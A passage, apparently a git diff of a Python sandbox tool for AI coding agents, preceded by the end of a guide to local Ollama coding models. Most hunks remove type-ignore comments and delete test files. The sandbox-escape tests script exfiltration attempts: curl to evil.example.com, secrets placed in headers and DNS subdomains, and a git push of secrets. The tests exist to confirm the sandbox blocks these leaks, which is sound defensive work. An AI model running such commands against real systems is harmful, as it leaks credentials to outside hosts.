logic, and structured output. Good for agentic sub-tasks requiring tight reasoning. Not the
|
||||
strongest at raw code synthesis but excellent for reasoning-heavy parts of a coding loop.
|
||||
Viable as the autocomplete model in a two-model Continue.dev setup.
|
||||
|
||||
```
|
||||
ollama pull phi4-mini
|
||||
```
|
||||
|
||||
**DeepSeek-R1 8B (~5–6 GB VRAM)**
|
||||
|
||||
Strong reasoning model for logic-heavy code (algorithms, correctness proofs). The full
|
||||
DeepSeek-Coder-V2 (236B MoE) is impractical here — only the 8B distilled variants are
|
||||
relevant. Outperforms Gemma 4 E4B on reasoning-heavy benchmarks; weaker on raw code
|
||||
generation than Qwen2.5-Coder 7B.
|
||||
|
||||
**Codestral — not viable at 8 GB**
|
||||
|
||||
The top FIM autocomplete model on HumanEval-FIM benchmarks, but requires 12–16 GB VRAM
|
||||
minimum. Not an option here. Worth revisiting if upgrading to a 12 GB+ card (RTX 4070
|
||||
Super or newer).
|
||||
|
||||
### RAM offloading: does 30 GB help?
|
||||
|
||||
Yes, meaningfully. Ollama automatically splits layers between GPU and system RAM when
|
||||
VRAM is exceeded. With 30 GB RAM, models up to ~14B at Q4_K_M run with partial offloading.
|
||||
The tradeoff is a 2–5× throughput penalty (8–18 tok/sec vs 35–55 tok/sec). Acceptable
|
||||
for batch tasks (reviewing a PR, generating an algorithm); too slow for live autocomplete.
|
||||
|
||||
### Recommended setup
|
||||
|
||||
**Autocomplete (fast, always-in-VRAM):** `qwen2.5-coder:7b`
|
||||
- Configure in Continue.dev as the tab-completion model
|
||||
- FIM-capable; 35–55 tok/sec; fits with 2–3 GB VRAM to spare
|
||||
|
||||
**Chat / agent loop (quality-first):** `qwen2.5-coder:14b` or `gemma4:e4b`
|
||||
- 14B for strongest multi-file coding; expect 8–18 tok/sec with RAM offload
|
||||
- Gemma 4 E4B if you want vision + general reasoning + coding in one model; ~60 tok/sec
|
||||
|
||||
**Two-model Continue.dev config (lower VRAM pressure):**
|
||||
`phi4-mini` (autocomplete) + `qwen2.5-coder:7b` (chat) — both fit simultaneously with
|
||||
~1–2 GB to spare, keeping the OS and IDE from contending for VRAM.
|
||||
|
||||
---
|
||||
|
||||
## Sources
|
||||
|
||||
- [Ollama on Proxmox: GPU Passthrough for LXC and VM AI Workloads](https://linuxprofessional.ie/article.php?slug=ollama-proxmox-gpu-passthrough-lxc-vm)
|
||||
- [Run Ollama with NVIDIA GPU in Proxmox VMs and LXC containers](https://www.virtualizationhowto.com/2025/05/run-ollama-with-nvidia-gpu-in-proxmox-vms-and-lxc-containers/)
|
||||
- [Ollama Performance Tuning: Getting Maximum Speed from Local LLMs](https://dasroot.net/posts/2026/01/ollama-performance-tuning-gpu-acceleration-model-quantization/)
|
||||
- [Pros and Cons: Containerized Ollama vs. Local Setup](https://alain-airom.medium.com/pros-and-cons-using-containerized-ollama-vs-local-setup-d9bdf225bbb5)
|
||||
- [Best Local Coding Models Ranked: Every VRAM Tier (2026)](https://insiderllm.com/guides/best-local-coding-models-2026/)
|
||||
- [Best Local LLMs for RTX 4060, RTX 3070, and RTX 5060](https://aiagentskit.com/blog/best-local-llms-rtx-4060-3070-5060/)
|
||||
- [Best Local LLMs for 8GB VRAM: Real Hardware Benchmarks (2026)](https://localllm.in/blog/best-local-llms-8gb-vram-2025)
|
||||
- [Self-Hosted AI Coding Agent: Ollama + Continue + Open WebUI Setup in 2026](https://www.web3aiblog.com/blog/self-hosted-ai-coding-agent-ollama-continue-2026)
|
||||
- [Best Local-First AI Coding Tools 2026: 14 Compared](https://nimbalyst.com/blog/best-local-first-ai-coding-tools-2026/)
|
||||
- [OpenCode + Ollama: Private Local AI Coding Agent Setup](https://lushbinary.com/blog/opencode-ollama-local-ai-coding-privacy-guide/)
|
||||
- [Gemma 4: Google DeepMind](https://deepmind.google/models/gemma/gemma-4/)
|
||||
- [Running Gemma 4 Locally: VRAM Requirements](https://knightli.com/en/2026/05/01/gemma-4-local-vram-quantization-table/)
|
||||
- [Phi-4 Mini vs. Gemma 3 vs. Qwen 2.5: Best SLM for Coding Tasks in 2026](https://botmonster.com/ai/phi-4-mini-vs-gemma-3-vs-qwen-25-best-slm-coding-2026/)
|
||||
- [Qwen2.5-Coder 14B VRAM Requirements Guide](https://willitrunai.com/blog/qwen-2-5-coder-14b-vram-requirements)
|
||||
- [Comparing AI Harnesses: OpenCode, Ollama, LM Studio, Claude Code, Open WebUI, and VS Code](https://jace.pro/blog/comparing-ai-harnesses-opencode-ollama-lm-studio-claude-code-open-webui-and-vs-code/)
|
||||
+1
-6
@@ -11,10 +11,5 @@
|
||||
],
|
||||
"pythonVersion": "3.11",
|
||||
"typeCheckingMode": "strict",
|
||||
"reportMissingTypeStubs": "none",
|
||||
"reportUnknownMemberType": false,
|
||||
"reportUnknownParameterType": false,
|
||||
"reportUnknownVariableType": false,
|
||||
"reportUnknownArgumentType": false,
|
||||
"reportPrivateUsage": false
|
||||
"reportMissingTypeStubs": "none"
|
||||
}
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
# Development and linting dependencies only.
|
||||
# The bot-bottle project itself has no runtime dependencies.
|
||||
# These tools are used for code quality checks in CI/CD.
|
||||
|
||||
pylint>=3.0.0
|
||||
pyright>=1.1.300
|
||||
@@ -24,6 +24,7 @@ this test runs in DinD too — no act_runner skip needed.
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
@@ -31,7 +32,7 @@ import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from bot_bottle import supervise
|
||||
from bot_bottle.backend.docker import bottle_state
|
||||
from bot_bottle.backend.docker import bottle_state, capability_apply
|
||||
from bot_bottle.backend.docker.capability_apply import apply_capability_change
|
||||
from bot_bottle.backend.docker.network import (
|
||||
network_create_egress,
|
||||
|
||||
@@ -32,11 +32,11 @@ from bot_bottle.backend.docker.network import (
|
||||
network_create_internal,
|
||||
network_remove,
|
||||
)
|
||||
from bot_bottle.pipelock import (
|
||||
from bot_bottle.backend.docker.pipelock import (
|
||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
||||
pipelock_tls_init,
|
||||
)
|
||||
from bot_bottle.backend.docker.pipelock import pipelock_tls_init
|
||||
from bot_bottle.pipelock import PipelockProxy
|
||||
from bot_bottle.backend.docker.pipelock_apply import (
|
||||
PipelockApplyError,
|
||||
|
||||
@@ -195,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
except BaseException:
|
||||
pass
|
||||
cls._identity = ""
|
||||
if cls._stage_dir is not None: # type: ignore
|
||||
if cls._stage_dir is not None:
|
||||
shutil.rmtree(cls._stage_dir, ignore_errors=True)
|
||||
cls._stage_dir = None # type: ignore[assignment]
|
||||
if cls._key_path is not None: # type: ignore
|
||||
if cls._key_path is not None:
|
||||
try:
|
||||
cls._key_path.unlink()
|
||||
except OSError:
|
||||
@@ -212,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
|
||||
or egress should reject the request with a non-200 response,
|
||||
and the actual upstream's content must not appear in stdout."""
|
||||
r = self._bottle.exec( # type: ignore
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'https://evil.example.com/'
|
||||
)
|
||||
@@ -232,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
hostname to a non-allowlisted IP. Pipelock should
|
||||
not honor the spoof (it does its own resolution)."""
|
||||
with self.subTest(attack="direct IP"):
|
||||
r = self._bottle.exec( # type: ignore
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'https://198.51.100.1/'
|
||||
)
|
||||
@@ -243,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
)
|
||||
|
||||
with self.subTest(attack="host-header spoof"):
|
||||
r = self._bottle.exec( # type: ignore
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'--resolve api.anthropic.com:443:198.51.100.1 '
|
||||
'https://api.anthropic.com/'
|
||||
@@ -265,13 +265,13 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
# `"blocked: request body contains secret"`).
|
||||
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
|
||||
|
||||
def _assert_sandbox_block(self, label: str, r: object) -> None: # type: ignore
|
||||
def _assert_sandbox_block(self, label: str, r) -> None:
|
||||
"""A real sandbox block produces an HTTP 403 with a
|
||||
recognizable sandbox sidecar marker in the body. ANY
|
||||
other outcome (200 from upstream, 401/404 from upstream,
|
||||
non-marker 5xx) means the request escaped — the secret
|
||||
reached the network."""
|
||||
body_and_code = (r.stdout or "").strip() # type: ignore
|
||||
body_and_code = (r.stdout or "").strip()
|
||||
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
|
||||
# we can disambiguate. Split that off.
|
||||
http_code = ""
|
||||
@@ -281,7 +281,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
body, _, http_code = body_and_code.rpartition(marker)
|
||||
http_code = http_code.strip()
|
||||
body = body.rstrip()
|
||||
haystack = (body + " " + (r.stderr or "")).lower() # type: ignore
|
||||
haystack = (body + " " + (r.stderr or "")).lower()
|
||||
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
|
||||
self.assertTrue(
|
||||
has_marker and http_code == "403",
|
||||
@@ -290,7 +290,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
f"If the response came from the actual upstream, the "
|
||||
f"secret REACHED the network — that's the leak this "
|
||||
f"test exists to catch. body={body!r} "
|
||||
f"stderr={(r.stderr or '').strip()!r}", # type: ignore
|
||||
f"stderr={(r.stderr or '').strip()!r}",
|
||||
)
|
||||
|
||||
def test_3_http_exfil_blocked(self) -> None:
|
||||
@@ -343,9 +343,9 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
|
||||
),
|
||||
]
|
||||
for name, cmd in shapes: # type: ignore
|
||||
for name, cmd in shapes:
|
||||
with self.subTest(shape=name):
|
||||
r = self._bottle.exec(cmd) # type: ignore
|
||||
r = self._bottle.exec(cmd)
|
||||
self._assert_sandbox_block(name, r)
|
||||
|
||||
# ---- attack 4: DNS exfil -----------------------------------------
|
||||
@@ -365,7 +365,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
intact (PRD 0022 Q2)."""
|
||||
|
||||
with self.subTest(attack="crafted subdomain"):
|
||||
r = self._bottle.exec( # type: ignore
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
|
||||
)
|
||||
@@ -379,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
# `+short +tries=1 +time=3`: no debug output, one attempt,
|
||||
# 3s timeout. Outside the internal network has no path;
|
||||
# dig should fail or return empty.
|
||||
r = self._bottle.exec( # type: ignore
|
||||
r = self._bottle.exec(
|
||||
'dig +short +tries=1 +time=3 @8.8.8.8 '
|
||||
'"$TEST_SECRET_GENERIC.example.com" '
|
||||
'; echo "EXIT=$?"'
|
||||
@@ -431,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
with self.subTest(secret=name):
|
||||
# Fresh repo per shape so prior commits don't
|
||||
# confuse gitleaks's diff. -rm -rf is best-effort.
|
||||
script = ( # type: ignore
|
||||
script = (
|
||||
'set -eu\n'
|
||||
'cd /tmp\n'
|
||||
'rm -rf sandbox-escape-repo\n'
|
||||
@@ -446,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
|
||||
f'git remote add origin {upstream_url}\n'
|
||||
'git push origin HEAD:refs/heads/master 2>&1\n'
|
||||
)
|
||||
r = self._bottle.exec(script) # type: ignore
|
||||
combined = (r.stderr + r.stdout).lower() # type: ignore
|
||||
r = self._bottle.exec(script)
|
||||
combined = (r.stderr + r.stdout).lower()
|
||||
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
|
||||
@@ -12,6 +12,7 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
@@ -11,12 +11,13 @@ from pathlib import Path
|
||||
from bot_bottle.agent_provider import (
|
||||
CODEX_HOST_CREDENTIAL_HOSTS,
|
||||
agent_provision_plan,
|
||||
runtime_for,
|
||||
)
|
||||
from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
|
||||
|
||||
|
||||
def _jwt(exp: int) -> str:
|
||||
def enc(obj: dict[str, object]) -> str: # type: ignore
|
||||
def enc(obj: dict) -> str:
|
||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||
return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
|
||||
|
||||
@@ -14,7 +14,7 @@ from __future__ import annotations
|
||||
import subprocess
|
||||
import unittest
|
||||
from typing import Callable
|
||||
from unittest.mock import patch
|
||||
from unittest.mock import MagicMock, call, patch
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
|
||||
class TestExecResultParity(unittest.TestCase):
|
||||
"""Both backends return ExecResult with returncode, stdout, stderr."""
|
||||
|
||||
def _stub_run(self, argv: object, **kwargs: object) -> object: # type: ignore
|
||||
def _stub_run(self, argv, **kwargs):
|
||||
return subprocess.CompletedProcess(
|
||||
argv, 0, stdout="out\n", stderr="err\n", # type: ignore
|
||||
argv, 0, stdout="out\n", stderr="err\n",
|
||||
)
|
||||
|
||||
def test_docker_exec_result_shape(self):
|
||||
|
||||
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
||||
)
|
||||
|
||||
class _FakeBackend:
|
||||
def __init__(self, items: object, available: object = True) -> None: # type: ignore
|
||||
def __init__(self, items, available=True):
|
||||
self._items = items
|
||||
self._available = available
|
||||
|
||||
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
||||
)
|
||||
|
||||
class _FakeBackend:
|
||||
def __init__(self, items: object) -> None: # type: ignore
|
||||
def __init__(self, items):
|
||||
self._items = items
|
||||
|
||||
def is_available(self) -> bool:
|
||||
def is_available(self):
|
||||
return True
|
||||
|
||||
def enumerate_active(self) -> object:
|
||||
def enumerate_active(self):
|
||||
return self._items
|
||||
|
||||
with patch.object(
|
||||
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
||||
)
|
||||
|
||||
class _FakeBackend:
|
||||
def __init__(self, items: object, available: object) -> None: # type: ignore
|
||||
def __init__(self, items, available):
|
||||
self._items = items
|
||||
self._available = available
|
||||
|
||||
def is_available(self) -> object:
|
||||
def is_available(self):
|
||||
return self._available
|
||||
|
||||
def enumerate_active(self):
|
||||
|
||||
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
|
||||
self._orig_push = capability_apply._push_working_tree
|
||||
self._orig_teardown = capability_apply._teardown_bottle
|
||||
|
||||
def stub_snapshot(slug: object) -> None: # type: ignore
|
||||
def stub_snapshot(slug):
|
||||
self._calls.append(f"snapshot:{slug}")
|
||||
|
||||
def stub_push(slug: object) -> None: # type: ignore
|
||||
def stub_push(slug):
|
||||
self._calls.append(f"push:{slug}")
|
||||
|
||||
def stub_teardown(slug: object) -> None: # type: ignore
|
||||
def stub_teardown(slug):
|
||||
self._calls.append(f"teardown:{slug}")
|
||||
|
||||
capability_apply.snapshot_transcript = stub_snapshot # type: ignore[assignment]
|
||||
|
||||
@@ -6,6 +6,7 @@ the operator confirms. Mocks the backends and stdin."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch, MagicMock
|
||||
|
||||
@@ -31,7 +32,7 @@ class TestCmdCleanup(unittest.TestCase):
|
||||
return_value=("docker", "smolmachines"),
|
||||
), patch.object(
|
||||
cmd, "get_bottle_backend",
|
||||
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||
side_effect=lambda name: backends_by_name[name],
|
||||
), patch.object(
|
||||
cmd, "_prompt_yes", return_value=True,
|
||||
):
|
||||
@@ -52,7 +53,7 @@ class TestCmdCleanup(unittest.TestCase):
|
||||
return_value=("docker", "smolmachines"),
|
||||
), patch.object(
|
||||
cmd, "get_bottle_backend",
|
||||
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||
side_effect=lambda name: backends_by_name[name],
|
||||
), patch.object(
|
||||
cmd, "_prompt_yes",
|
||||
) as prompt:
|
||||
@@ -71,7 +72,7 @@ class TestCmdCleanup(unittest.TestCase):
|
||||
return_value=("docker", "smolmachines"),
|
||||
), patch.object(
|
||||
cmd, "get_bottle_backend",
|
||||
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||
side_effect=lambda name: backends_by_name[name],
|
||||
), patch.object(
|
||||
cmd, "_prompt_yes", return_value=False,
|
||||
):
|
||||
@@ -91,7 +92,7 @@ class TestCmdCleanup(unittest.TestCase):
|
||||
return_value=("docker", "smolmachines"),
|
||||
), patch.object(
|
||||
cmd, "get_bottle_backend",
|
||||
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||
side_effect=lambda name: backends_by_name[name],
|
||||
), patch.object(
|
||||
cmd, "_prompt_yes", return_value=True,
|
||||
):
|
||||
|
||||
@@ -1,141 +0,0 @@
|
||||
"""Unit: cmd_start selector dispatch (PRD 0051).
|
||||
|
||||
Tests that cmd_start calls filter_select when name / backend are absent,
|
||||
skips them when both are explicit, and returns 0 on cancel.
|
||||
|
||||
All actual launch work is stubbed so no container is created.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import unittest
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import bot_bottle.cli.start as start_mod
|
||||
import bot_bottle.cli.tui as tui_mod
|
||||
|
||||
|
||||
def _make_manifest(agent_names: list[str]):
|
||||
manifest = MagicMock()
|
||||
manifest.agents = {name: MagicMock() for name in agent_names}
|
||||
return manifest
|
||||
|
||||
|
||||
class TestCmdStartSelector(unittest.TestCase):
|
||||
"""Drive cmd_start with a minimal set of stubs."""
|
||||
|
||||
def setUp(self):
|
||||
# Stub Manifest.resolve so no on-disk manifest is needed.
|
||||
self._manifest = _make_manifest(["researcher", "implementer"])
|
||||
self._resolve_patch = patch(
|
||||
"bot_bottle.cli.start.Manifest.resolve",
|
||||
return_value=self._manifest,
|
||||
)
|
||||
self._resolve_patch.start()
|
||||
|
||||
# Stub _launch_bottle so no real container work happens.
|
||||
self._launch_patch = patch(
|
||||
"bot_bottle.cli.start._launch_bottle",
|
||||
return_value=0,
|
||||
)
|
||||
self._launch_mock = self._launch_patch.start()
|
||||
|
||||
# Stub filter_select to avoid opening /dev/tty.
|
||||
self._tui_patch = patch.object(tui_mod, "filter_select")
|
||||
self._tui_mock = self._tui_patch.start()
|
||||
|
||||
# Ensure BOT_BOTTLE_BACKEND is absent so the backend picker fires.
|
||||
self._env_patch = patch.dict(os.environ, {}, clear=False)
|
||||
self._env_patch.start()
|
||||
os.environ.pop("BOT_BOTTLE_BACKEND", None)
|
||||
|
||||
def tearDown(self):
|
||||
self._resolve_patch.stop()
|
||||
self._launch_patch.stop()
|
||||
self._tui_patch.stop()
|
||||
self._env_patch.stop()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Both explicit — no picker shown
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def test_both_explicit_skips_picker(self):
|
||||
self._tui_mock.return_value = "researcher"
|
||||
rc = start_mod.cmd_start(["--backend=docker", "researcher"])
|
||||
self.assertEqual(0, rc)
|
||||
self._tui_mock.assert_not_called()
|
||||
self._launch_mock.assert_called_once()
|
||||
_, kwargs = self._launch_mock.call_args
|
||||
self.assertEqual("docker", kwargs["backend_name"])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Agent absent → agent picker fires; backend explicit
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def test_agent_absent_shows_agent_picker(self):
|
||||
self._tui_mock.return_value = "researcher"
|
||||
rc = start_mod.cmd_start(["--backend=docker"])
|
||||
self.assertEqual(0, rc)
|
||||
self._tui_mock.assert_called_once()
|
||||
call_kwargs = self._tui_mock.call_args
|
||||
self.assertEqual(["implementer", "researcher"], call_kwargs[0][0])
|
||||
self.assertIn("agent", call_kwargs[1]["title"].lower())
|
||||
|
||||
def test_agent_picker_cancel_returns_0(self):
|
||||
self._tui_mock.return_value = None
|
||||
rc = start_mod.cmd_start(["--backend=docker"])
|
||||
self.assertEqual(0, rc)
|
||||
self._launch_mock.assert_not_called()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Agent explicit, backend absent → backend picker fires
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def test_backend_absent_shows_backend_picker(self):
|
||||
self._tui_mock.return_value = "docker"
|
||||
rc = start_mod.cmd_start(["researcher"])
|
||||
self.assertEqual(0, rc)
|
||||
self._tui_mock.assert_called_once()
|
||||
call_kwargs = self._tui_mock.call_args
|
||||
self.assertIn("backend", call_kwargs[1]["title"].lower())
|
||||
|
||||
def test_backend_picker_cancel_returns_0(self):
|
||||
self._tui_mock.return_value = None
|
||||
rc = start_mod.cmd_start(["researcher"])
|
||||
self.assertEqual(0, rc)
|
||||
self._launch_mock.assert_not_called()
|
||||
|
||||
def test_bot_bottle_backend_env_skips_backend_picker(self):
|
||||
os.environ["BOT_BOTTLE_BACKEND"] = "docker"
|
||||
try:
|
||||
rc = start_mod.cmd_start(["researcher"])
|
||||
finally:
|
||||
os.environ.pop("BOT_BOTTLE_BACKEND", None)
|
||||
self.assertEqual(0, rc)
|
||||
self._tui_mock.assert_not_called()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Both absent → agent picker then backend picker
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def test_both_absent_shows_both_pickers_in_order(self):
|
||||
self._tui_mock.side_effect = ["researcher", "docker"]
|
||||
rc = start_mod.cmd_start([])
|
||||
self.assertEqual(0, rc)
|
||||
self.assertEqual(2, self._tui_mock.call_count)
|
||||
first_title = self._tui_mock.call_args_list[0][1]["title"].lower()
|
||||
second_title = self._tui_mock.call_args_list[1][1]["title"].lower()
|
||||
self.assertIn("agent", first_title)
|
||||
self.assertIn("backend", second_title)
|
||||
|
||||
def test_both_absent_agent_cancel_skips_backend_picker(self):
|
||||
self._tui_mock.side_effect = [None]
|
||||
rc = start_mod.cmd_start([])
|
||||
self.assertEqual(0, rc)
|
||||
self.assertEqual(1, self._tui_mock.call_count)
|
||||
self._launch_mock.assert_not_called()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
|
||||
# covers the real docker cp path.
|
||||
self._snap_calls: list[str] = []
|
||||
self._orig_snap = start_mod.snapshot_transcript
|
||||
start_mod.snapshot_transcript = lambda identity: ( # type: ignore
|
||||
start_mod.snapshot_transcript = lambda identity: (
|
||||
self._snap_calls.append(identity)
|
||||
)
|
||||
|
||||
|
||||
@@ -1,50 +0,0 @@
|
||||
"""Unit tests for bot_bottle.cli.tui — filter_select internals.
|
||||
|
||||
We test the pure-Python logic (_filter_items, cursor movement, confirm,
|
||||
cancel) by exercising the internal helpers directly, without spinning up
|
||||
a real curses session (which requires a TTY).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import unittest
|
||||
|
||||
from bot_bottle.cli.tui import _filter_items, filter_select
|
||||
|
||||
|
||||
class TestFilterItems(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.items = ["researcher", "implementer", "codex-researcher", "reviewer"]
|
||||
|
||||
def test_empty_query_returns_all(self):
|
||||
self.assertEqual(self.items, _filter_items(self.items, ""))
|
||||
|
||||
def test_query_filters_case_insensitively(self):
|
||||
result = _filter_items(self.items, "RESEARCH")
|
||||
self.assertEqual(["researcher", "codex-researcher"], result)
|
||||
|
||||
def test_no_match_returns_empty(self):
|
||||
self.assertEqual([], _filter_items(self.items, "zzz"))
|
||||
|
||||
def test_partial_match(self):
|
||||
result = _filter_items(self.items, "impl")
|
||||
self.assertEqual(["implementer"], result)
|
||||
|
||||
def test_empty_items_returns_empty(self):
|
||||
self.assertEqual([], _filter_items([], "foo"))
|
||||
|
||||
|
||||
class TestFilterSelectEmptyItems(unittest.TestCase):
|
||||
def test_returns_none_for_empty_list(self):
|
||||
# No TTY needed — the short-circuit fires before opening tty.
|
||||
result = filter_select([], title="Pick one", tty_path="/dev/null")
|
||||
self.assertIsNone(result)
|
||||
|
||||
def test_returns_none_when_tty_unavailable(self):
|
||||
# /nonexistent is guaranteed to not open.
|
||||
result = filter_select(["a", "b"], tty_path="/nonexistent/tty")
|
||||
self.assertIsNone(result)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -9,7 +9,7 @@ import unittest
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from bot_bottle.contrib.codex.codex_auth import (
|
||||
from bot_bottle.codex_auth import (
|
||||
codex_auth_path,
|
||||
codex_dummy_auth_json,
|
||||
codex_host_access_token,
|
||||
@@ -21,14 +21,14 @@ def _jwt(exp: int) -> str:
|
||||
return _jwt_with_payload({"exp": exp})
|
||||
|
||||
|
||||
def _jwt_with_payload(payload: dict[str, object]) -> str: # type: ignore
|
||||
def enc(obj: dict[str, object]) -> str: # type: ignore
|
||||
def _jwt_with_payload(payload: dict) -> str:
|
||||
def enc(obj: dict) -> str:
|
||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||
return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
|
||||
|
||||
|
||||
def _jwt_payload(token: str) -> dict[str, object]: # type: ignore
|
||||
def _jwt_payload(token: str) -> dict:
|
||||
payload = token.split(".")[1]
|
||||
payload += "=" * (-len(payload) % 4)
|
||||
return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
|
||||
@@ -43,7 +43,7 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
self.tmp.cleanup()
|
||||
|
||||
def _write(self, payload: dict[str, object]) -> None: # type: ignore
|
||||
def _write(self, payload: dict) -> None:
|
||||
self.auth_path.write_text(json.dumps(payload))
|
||||
|
||||
def test_auth_path_uses_codex_home(self):
|
||||
@@ -210,11 +210,11 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
||||
access_payload = _jwt_payload(dummy["tokens"]["access_token"])
|
||||
auth = access_payload["https://api.openai.com/auth"]
|
||||
profile = access_payload["https://api.openai.com/profile"]
|
||||
self.assertEqual("plus", auth["chatgpt_plan_type"]) # type: ignore
|
||||
self.assertEqual("acct-real", auth["chatgpt_account_id"]) # type: ignore
|
||||
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"]) # type: ignore
|
||||
self.assertEqual("bot-bottle@example.invalid", profile["email"]) # type: ignore
|
||||
self.assertTrue(profile["email_verified"]) # type: ignore
|
||||
self.assertEqual("plus", auth["chatgpt_plan_type"])
|
||||
self.assertEqual("acct-real", auth["chatgpt_account_id"])
|
||||
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])
|
||||
self.assertEqual("bot-bottle@example.invalid", profile["email"])
|
||||
self.assertTrue(profile["email_verified"])
|
||||
|
||||
def test_dummy_auth_redacts_unknown_future_auth_fields(self):
|
||||
secrets = [
|
||||
@@ -289,8 +289,8 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
||||
self.assertEqual({}, access_payload["future_nested"])
|
||||
self.assertEqual([], access_payload["future_list"])
|
||||
auth = access_payload["https://api.openai.com/auth"]
|
||||
self.assertEqual("bot-bottle-placeholder", auth["session_context"]) # type: ignore
|
||||
self.assertEqual({}, auth["nested"]) # type: ignore
|
||||
self.assertEqual("bot-bottle-placeholder", auth["session_context"])
|
||||
self.assertEqual({}, auth["nested"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -12,7 +12,6 @@ from __future__ import annotations
|
||||
import subprocess
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from unittest import mock
|
||||
|
||||
from bot_bottle.agent_provider import AgentProvisionPlan
|
||||
@@ -46,7 +45,7 @@ def _manifest(*, supervise: bool, with_git: bool, with_egress: bool) -> Manifest
|
||||
"""Minimal manifest with the toggles the chunk-1 matrix needs.
|
||||
The renderer only reads from the plan, not the manifest, so this
|
||||
is just here to back BottleSpec."""
|
||||
bottle: dict[str, object] = {}
|
||||
bottle: dict = {}
|
||||
if supervise:
|
||||
bottle["supervise"] = True
|
||||
if with_git:
|
||||
@@ -272,13 +271,13 @@ class TestAgentAlwaysPresent(unittest.TestCase):
|
||||
dockerfile="",
|
||||
guest_env={"CODEX_HOME": "/home/node/.codex"},
|
||||
)
|
||||
plan = type(plan)(**{**vars(plan), "agent_provision": provision}) # type: ignore
|
||||
plan = type(plan)(**{**vars(plan), "agent_provision": provision})
|
||||
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
||||
self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
|
||||
|
||||
def test_agent_runsc_runtime(self):
|
||||
plan = _plan()
|
||||
plan = type(plan)(**{**vars(plan), "use_runsc": True}) # type: ignore
|
||||
